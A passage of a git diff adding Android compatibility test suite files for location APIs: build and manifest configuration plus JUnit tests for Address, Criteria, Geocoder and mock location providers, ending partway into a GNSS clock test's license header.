+ assertFalse(providers.contains(PASSIVE_PROVIDER));
+ }
+
+ @Test
+ public void testGetBestProvider() {
+ // prevent network provider from matching
+ mManager.addTestProvider(NETWORK_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_HIGH,
+ Criteria.ACCURACY_COARSE);
+
+ Criteria criteria = new Criteria();
+ criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+ criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+
+ String bestProvider = mManager.getBestProvider(criteria, false);
+ assertEquals(COARSE_TEST_PROVIDER, bestProvider);
+
+ criteria.setAccuracy(Criteria.ACCURACY_FINE);
+ criteria.setPowerRequirement(Criteria.POWER_LOW);
+ assertNotEquals(COARSE_TEST_PROVIDER, mManager.getBestProvider(criteria, false));
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS")
+ public void testSendExtraCommand() {
+ mManager.sendExtraCommand(COARSE_TEST_PROVIDER, "command", null);
+
+ try {
+ mManager.sendExtraCommand(FINE_TEST_PROVIDER, "command", null);
+ fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+ } catch (SecurityException expected) {
+ // pass
+ }
+ }
+
+ // TODO: this test should probably not be in the location module
+ @Test
+ public void testGnssProvidedClock() throws Exception {
+ mManager.addTestProvider(GPS_PROVIDER,
+ false,
+ true,
+ false,
+ false,
+ true,
+ true,
+ true,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_COARSE);
+ mManager.setTestProviderEnabled(GPS_PROVIDER, true);
+
+ Location location = new Location(GPS_PROVIDER);
+ long elapsed = SystemClock.elapsedRealtimeNanos();
+ location.setLatitude(0);
+ location.setLongitude(0);
+ location.setAccuracy(0);
+ location.setElapsedRealtimeNanos(elapsed);
+ location.setTime(1);
+
+ mManager.setTestProviderLocation(GPS_PROVIDER, location);
+ assertTrue(SystemClock.currentGnssTimeClock().millis() < 1000);
+
+ location.setTime(java.lang.System.currentTimeMillis());
+ location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
+ mManager.setTestProviderLocation(GPS_PROVIDER, location);
+ Thread.sleep(200);
+ long clockms = SystemClock.currentGnssTimeClock().millis();
+ assertTrue(System.currentTimeMillis() - clockms < 1000);
+ }
+
+ private static Executor directExecutor() {
+ return Runnable::run;
+ }
+}
diff --git a/tests/location/location_fine/Android.bp b/tests/location/location_fine/Android.bp
new file mode 100644
index 0000000..2970bfb
--- /dev/null
+++ b/tests/location/location_fine/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLocationFineTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "LocationCtsCommon",
+ "androidx.test.ext.junit",
+ "androidx.test.ext.truth",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ ],
+ libs: [
+ "android.test.base.stubs",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/location/location_fine/AndroidManifest.xml b/tests/location/location_fine/AndroidManifest.xml
new file mode 100644
index 0000000..01fe459
--- /dev/null
+++ b/tests/location/location_fine/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.location.cts.fine">
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+ <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+ <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.location.cts.fine"
+ android:label="CTS tests for android.location">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener"/>
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/location/location_fine/AndroidTest.xml b/tests/location/location_fine/AndroidTest.xml
new file mode 100644
index 0000000..6b67ff6
--- /dev/null
+++ b/tests/location/location_fine/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS fine Location test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="location" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsLocationFineTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.location.cts.fine" />
+ </test>
+
+</configuration>
diff --git a/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java b/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
new file mode 100644
index 0000000..a17755a
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
@@ -0,0 +1,359 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.util.Locale;
+
+import android.location.Address;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AddressTest {
+
+ private static final double DELTA = 0.001;
+
+ @Test
+ public void testConstructor() {
+ new Address(Locale.ENGLISH);
+
+ new Address(Locale.FRANCE);
+
+ new Address(null);
+ }
+
+ @Test
+ public void testAccessAdminArea() {
+ Address address = new Address(Locale.ITALY);
+
+ String adminArea = "CA";
+ address.setAdminArea(adminArea);
+ assertEquals(adminArea, address.getAdminArea());
+
+ address.setAdminArea(null);
+ assertNull(address.getAdminArea());
+ }
+
+ @Test
+ public void testAccessCountryCode() {
+ Address address = new Address(Locale.JAPAN);
+
+ String countryCode = "US";
+ address.setCountryCode(countryCode);
+ assertEquals(countryCode, address.getCountryCode());
+
+ address.setCountryCode(null);
+ assertNull(address.getCountryCode());
+ }
+
+ @Test
+ public void testAccessCountryName() {
+ Address address = new Address(Locale.KOREA);
+
+ String countryName = "China";
+ address.setCountryName(countryName);
+ assertEquals(countryName, address.getCountryName());
+
+ address.setCountryName(null);
+ assertNull(address.getCountryName());
+ }
+
+ @Test
+ public void testAccessExtras() {
+ Address address = new Address(Locale.TAIWAN);
+
+ Bundle extras = new Bundle();
+ extras.putBoolean("key1", false);
+ byte b = 10;
+ extras.putByte("key2", b);
+
+ address.setExtras(extras);
+ Bundle actual = address.getExtras();
+ assertFalse(actual.getBoolean("key1"));
+ assertEquals(b, actual.getByte("key2"));
+
+ address.setExtras(null);
+ assertNull(address.getExtras());
+ }
+
+ @Test
+ public void testAccessFeatureName() {
+ Address address = new Address(Locale.SIMPLIFIED_CHINESE);
+
+ String featureName = "Golden Gate Bridge";
+ address.setFeatureName(featureName);
+ assertEquals(featureName, address.getFeatureName());
+
+ address.setFeatureName(null);
+ assertNull(address.getFeatureName());
+ }
+
+ @Test
+ public void testAccessLatitude() {
+ Address address = new Address(Locale.CHINA);
+ assertFalse(address.hasLatitude());
+
+ double latitude = 1.23456789;
+ address.setLatitude(latitude);
+ assertTrue(address.hasLatitude());
+ assertEquals(latitude, address.getLatitude(), DELTA);
+
+ address.clearLatitude();
+ assertFalse(address.hasLatitude());
+ try {
+ address.getLatitude();
+ fail("should throw IllegalStateException.");
+ } catch (IllegalStateException e) {
+ // pass
+ }
+ }
+
+ @Test
+ public void testAccessLongitude() {
+ Address address = new Address(Locale.CHINA);
+ assertFalse(address.hasLongitude());
+
+ double longitude = 1.23456789;
+ address.setLongitude(longitude);
+ assertTrue(address.hasLongitude());
+ assertEquals(longitude, address.getLongitude(), DELTA);
+
+ address.clearLongitude();
+ assertFalse(address.hasLongitude());
+ try {
+ address.getLongitude();
+ fail("should throw IllegalStateException.");
+ } catch (IllegalStateException e) {
+ // pass
+ }
+ }
+
+ @Test
+ public void testAccessPhone() {
+ Address address = new Address(Locale.CHINA);
+
+ String phone = "+86-13512345678";
+ address.setPhone(phone);
+ assertEquals(phone, address.getPhone());
+
+ address.setPhone(null);
+ assertNull(address.getPhone());
+ }
+
+ @Test
+ public void testAccessPostalCode() {
+ Address address = new Address(Locale.CHINA);
+
+ String postalCode = "93110";
+ address.setPostalCode(postalCode);
+ assertEquals(postalCode, address.getPostalCode());
+
+ address.setPostalCode(null);
+ assertNull(address.getPostalCode());
+ }
+
+ @Test
+ public void testAccessThoroughfare() {
+ Address address = new Address(Locale.CHINA);
+
+ String thoroughfare = "1600 Ampitheater Parkway";
+ address.setThoroughfare(thoroughfare);
+ assertEquals(thoroughfare, address.getThoroughfare());
+
+ address.setThoroughfare(null);
+ assertNull(address.getThoroughfare());
+ }
+
+ @Test
+ public void testAccessUrl() {
+ Address address = new Address(Locale.CHINA);
+
+ String Url = "Url";
+ address.setUrl(Url);
+ assertEquals(Url, address.getUrl());
+
+ address.setUrl(null);
+ assertNull(address.getUrl());
+ }
+
+ @Test
+ public void testAccessSubAdminArea() {
+ Address address = new Address(Locale.CHINA);
+
+ String subAdminArea = "Santa Clara County";
+ address.setSubAdminArea(subAdminArea);
+ assertEquals(subAdminArea, address.getSubAdminArea());
+
+ address.setSubAdminArea(null);
+ assertNull(address.getSubAdminArea());
+ }
+
+ @Test
+ public void testToString() {
+ Address address = new Address(Locale.CHINA);
+
+ address.setUrl("www.google.com");
+ address.setPostalCode("95120");
+ String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
+ "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
+ "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
+ "longitude=0.0,phone=null,url=www.google.com,extras=null]";
+ assertEquals(expected, address.toString());
+ }
+
+ @Test
+ public void testAddressLine() {
+ Address address = new Address(Locale.CHINA);
+
+ try {
+ address.setAddressLine(-1, null);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ address.getAddressLine(-1);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ address.setAddressLine(0, null);
+ assertNull(address.getAddressLine(0));
+ assertEquals(0, address.getMaxAddressLineIndex());
+
+ final String line1 = "1";
+ address.setAddressLine(0, line1);
+ assertEquals(line1, address.getAddressLine(0));
+ assertEquals(0, address.getMaxAddressLineIndex());
+
+ final String line2 = "2";
+ address.setAddressLine(5, line2);
+ assertEquals(line2, address.getAddressLine(5));
+ assertEquals(5, address.getMaxAddressLineIndex());
+
+ address.setAddressLine(2, null);
+ assertNull(address.getAddressLine(2));
+ assertEquals(5, address.getMaxAddressLineIndex());
+ }
+
+ @Test
+ public void testGetLocale() {
+ Locale locale = Locale.US;
+ Address address = new Address(locale);
+ assertSame(locale, address.getLocale());
+
+ locale = Locale.UK;
+ address = new Address(locale);
+ assertSame(locale, address.getLocale());
+
+ address = new Address(null);
+ assertNull(address.getLocale());
+ }
+
+ @Test
+ public void testAccessLocality() {
+ Address address = new Address(Locale.PRC);
+
+ String locality = "Hollywood";
+ address.setLocality(locality);
+ assertEquals(locality, address.getLocality());
+
+ address.setLocality(null);
+ assertNull(address.getLocality());
+ }
+
+ @Test
+ public void testAccessPremises() {
+ Address address = new Address(Locale.PRC);
+
+ String premises = "Appartment";
+ address.setPremises(premises);
+ assertEquals(premises, address.getPremises());
+
+ address.setPremises(null);
+ assertNull(address.getPremises());
+ }
+
+ @Test
+ public void testAccessSubLocality() {
+ Address address = new Address(Locale.PRC);
+
+ String subLocality = "Sarchnar";
+ address.setSubLocality(subLocality);
+ assertEquals(subLocality, address.getSubLocality());
+
+ address.setSubLocality(null);
+ assertNull(address.getSubLocality());
+ }
+
+ @Test
+ public void testAccessSubThoroughfare() {
+ Address address = new Address(Locale.PRC);
+
+ String subThoroughfare = "1600";
+ address.setSubThoroughfare(subThoroughfare);
+ assertEquals(subThoroughfare, address.getSubThoroughfare());
+
+ address.setSubThoroughfare(null);
+ assertNull(address.getSubThoroughfare());
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ Locale locale = Locale.KOREA;
+ Address address = new Address(locale);
+
+ Parcel parcel = Parcel.obtain();
+ address.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ assertEquals(locale.getLanguage(), parcel.readString());
+ assertEquals(locale.getCountry(), parcel.readString());
+ assertEquals(0, parcel.readInt());
+ assertEquals(address.getFeatureName(), parcel.readString());
+ assertEquals(address.getAdminArea(), parcel.readString());
+ assertEquals(address.getSubAdminArea(), parcel.readString());
+ assertEquals(address.getLocality(), parcel.readString());
+ assertEquals(address.getSubLocality(), parcel.readString());
+ assertEquals(address.getThoroughfare(), parcel.readString());
+ assertEquals(address.getSubThoroughfare(), parcel.readString());
+ assertEquals(address.getPremises(), parcel.readString());
+ assertEquals(address.getPostalCode(), parcel.readString());
+ assertEquals(address.getCountryCode(), parcel.readString());
+ assertEquals(address.getCountryName(), parcel.readString());
+ assertEquals(0, parcel.readInt());
+ assertEquals(0, parcel.readInt());
+ assertEquals(address.getPhone(), parcel.readString());
+ assertEquals(address.getUrl(), parcel.readString());
+ assertEquals(address.getExtras(), parcel.readBundle());
+
+ parcel.recycle();
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java b/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
new file mode 100644
index 0000000..33686ea
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.location.Criteria;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CriteriaTest {
+
+ @Test
+ public void testConstructor() {
+ new Criteria();
+
+ Criteria c = new Criteria();
+ c.setAccuracy(Criteria.ACCURACY_FINE);
+ c.setAltitudeRequired(true);
+ c.setBearingRequired(true);
+ c.setCostAllowed(true);
+ c.setPowerRequirement(Criteria.POWER_HIGH);
+ c.setSpeedRequired(true);
+ Criteria criteria = new Criteria(c);
+ assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+ assertTrue(criteria.isAltitudeRequired());
+ assertTrue(criteria.isBearingRequired());
+ assertTrue(criteria.isCostAllowed());
+ assertTrue(criteria.isSpeedRequired());
+ assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
+
+ try {
+ new Criteria(null);
+ fail("should throw NullPointerException.");
+ } catch (NullPointerException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testDescribeContents() {
+ Criteria criteria = new Criteria();
+ criteria.describeContents();
+ }
+
+ @Test
+ public void testAccessAccuracy() {
+ Criteria criteria = new Criteria();
+
+ criteria.setAccuracy(Criteria.ACCURACY_FINE);
+ assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+
+ criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+ assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
+
+ try {
+ // It should throw IllegalArgumentException
+ criteria.setAccuracy(-1);
+ // issue 1728526
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+
+ try {
+ // It should throw IllegalArgumentException
+ criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
+ // issue 1728526
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testAccessPowerRequirement() {
+ Criteria criteria = new Criteria();
+
+ criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
+ assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
+
+ criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+ assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
+
+ try {
+ criteria.setPowerRequirement(-1);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+
+ try {
+ criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testAccessAltitudeRequired() {
+ Criteria criteria = new Criteria();
+
+ criteria.setAltitudeRequired(false);
+ assertFalse(criteria.isAltitudeRequired());
+
+ criteria.setAltitudeRequired(true);
+ assertTrue(criteria.isAltitudeRequired());
+ }
+
+ @Test
+ public void testAccessBearingAccuracy() {
+ Criteria criteria = new Criteria();
+
+ criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
+ assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
+
+ criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
+ assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
+
+ criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
+ assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
+ }
+
+ @Test
+ public void testAccessBearingRequired() {
+ Criteria criteria = new Criteria();
+
+ criteria.setBearingRequired(false);
+ assertFalse(criteria.isBearingRequired());
+
+ criteria.setBearingRequired(true);
+ assertTrue(criteria.isBearingRequired());
+ }
+
+ @Test
+ public void testAccessCostAllowed() {
+ Criteria criteria = new Criteria();
+
+ criteria.setCostAllowed(false);
+ assertFalse(criteria.isCostAllowed());
+
+ criteria.setCostAllowed(true);
+ assertTrue(criteria.isCostAllowed());
+ }
+
+ @Test
+ public void testAccessHorizontalAccuracy() {
+ Criteria criteria = new Criteria();
+
+ criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
+ assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
+
+ criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
+ assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
+
+ criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
+ assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
+
+ criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
+ assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
+ }
+
+ @Test
+ public void testAccessSpeedAccuracy() {
+ Criteria criteria = new Criteria();
+
+ criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
+ assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
+
+ criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
+ assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
+
+ criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
+ assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
+ }
+
+ public void testAccessSpeedRequired() {
+ Criteria criteria = new Criteria();
+
+ criteria.setSpeedRequired(false);
+ assertFalse(criteria.isSpeedRequired());
+
+ criteria.setSpeedRequired(true);
+ assertTrue(criteria.isSpeedRequired());
+ }
+
+ @Test
+ public void testAccessVerticalAccuracy() {
+ Criteria criteria = new Criteria();
+
+ criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
+ assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
+
+ criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
+ assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
+
+ criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
+ assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ Criteria criteria = new Criteria();
+ criteria.setAltitudeRequired(true);
+ criteria.setBearingRequired(false);
+ criteria.setCostAllowed(true);
+ criteria.setSpeedRequired(true);
+
+ Parcel parcel = Parcel.obtain();
+ criteria.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
+
+ assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
+ assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
+ assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
+ assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
+ assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
+ assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
+
+ parcel.recycle();
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
new file mode 100644
index 0000000..69b1f0c
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.location.Geocoder;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Locale;
+
+@RunWith(AndroidJUnit4.class)
+public class GeocoderTest {
+
+ private static final int MAX_NUM_RETRIES = 2;
+ private static final int TIME_BETWEEN_RETRIES_MS = 2000;
+
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ mContext = ApplicationProvider.getApplicationContext();
+ }
+
+ @Test
+ public void testConstructor() {
+ new Geocoder(mContext);
+
+ new Geocoder(mContext, Locale.ENGLISH);
+
+ try {
+ new Geocoder(mContext, null);
+ fail("should throw NullPointerException.");
+ } catch (NullPointerException e) {
+ // expected.
+ }
+ }
+
+ @Test
+ public void testIsPresent() {
+ if (isServiceMissing()) {
+ assertFalse(Geocoder.isPresent());
+ } else {
+ assertTrue(Geocoder.isPresent());
+ }
+ }
+
+ @Test
+ public void testGetFromLocation() throws IOException, InterruptedException {
+ Geocoder geocoder = new Geocoder(mContext);
+
+ // There is no guarantee that geocoder.getFromLocation returns accurate results
+ // Thus only test that calling the method with valid arguments doesn't produce
+ // an unexpected exception
+ // Note: there is a risk this test will fail if device under test does not have
+ // a network connection. This is why we try the geocode 5 times if it fails due
+ // to a network error.
+ int numRetries = 0;
+ while (numRetries < MAX_NUM_RETRIES) {
+ try {
+ geocoder.getFromLocation(60, 30, 5);
+ break;
+ } catch (IOException e) {
+ Thread.sleep(TIME_BETWEEN_RETRIES_MS);
+ numRetries++;
+ }
+ }
+ if (numRetries >= MAX_NUM_RETRIES) {
+ fail("Failed to geocode location " + MAX_NUM_RETRIES + " times.");
+ }
+
+
+ try {
+ // latitude is less than -90
+ geocoder.getFromLocation(-91, 30, 5);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ // latitude is greater than 90
+ geocoder.getFromLocation(91, 30, 5);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ // longitude is less than -180
+ geocoder.getFromLocation(10, -181, 5);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ // longitude is greater than 180
+ geocoder.getFromLocation(10, 181, 5);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+ }
+
+ @Test
+ public void testGetFromLocationName() throws IOException, InterruptedException {
+ Geocoder geocoder = new Geocoder(mContext, Locale.US);
+
+ // There is no guarantee that geocoder.getFromLocationName returns accurate results.
+ // Thus only test that calling the method with valid arguments doesn't produce
+ // an unexpected exception
+ // Note: there is a risk this test will fail if device under test does not have
+ // a network connection. This is why we try the geocode 5 times if it fails due
+ // to a network error.
+ int numRetries = 0;
+ while (numRetries < MAX_NUM_RETRIES) {
+ try {
+ geocoder.getFromLocationName("Dalvik,Iceland", 5);
+ break;
+ } catch (IOException e) {
+ Thread.sleep(TIME_BETWEEN_RETRIES_MS);
+ numRetries++;
+ }
+ }
+ if (numRetries >= MAX_NUM_RETRIES) {
+ fail("Failed to geocode location name " + MAX_NUM_RETRIES + " times.");
+ }
+
+ try {
+ geocoder.getFromLocationName(null, 5);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ geocoder.getFromLocationName("Beijing", 5, -91, 100, 45, 130);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ geocoder.getFromLocationName("Beijing", 5, 25, 190, 45, 130);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ geocoder.getFromLocationName("Beijing", 5, 25, 100, 91, 130);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+
+ try {
+ geocoder.getFromLocationName("Beijing", 5, 25, 100, 45, -181);
+ fail("should throw IllegalArgumentException");
+ } catch (IllegalArgumentException e) {
+ // pass
+ }
+ }
+
+ private boolean isServiceMissing() {
+ PackageManager pm = mContext.getPackageManager();
+
+ final Intent intent = new Intent("com.android.location.service.GeocodeProvider");
+ final int flags = PackageManager.MATCH_DIRECT_BOOT_AWARE
+ | PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
+ return pm.queryIntentServices(intent, flags).isEmpty();
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssClockTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssClockTest.java
new file mode 100644
index 0000000..7863675
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GnssClockTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
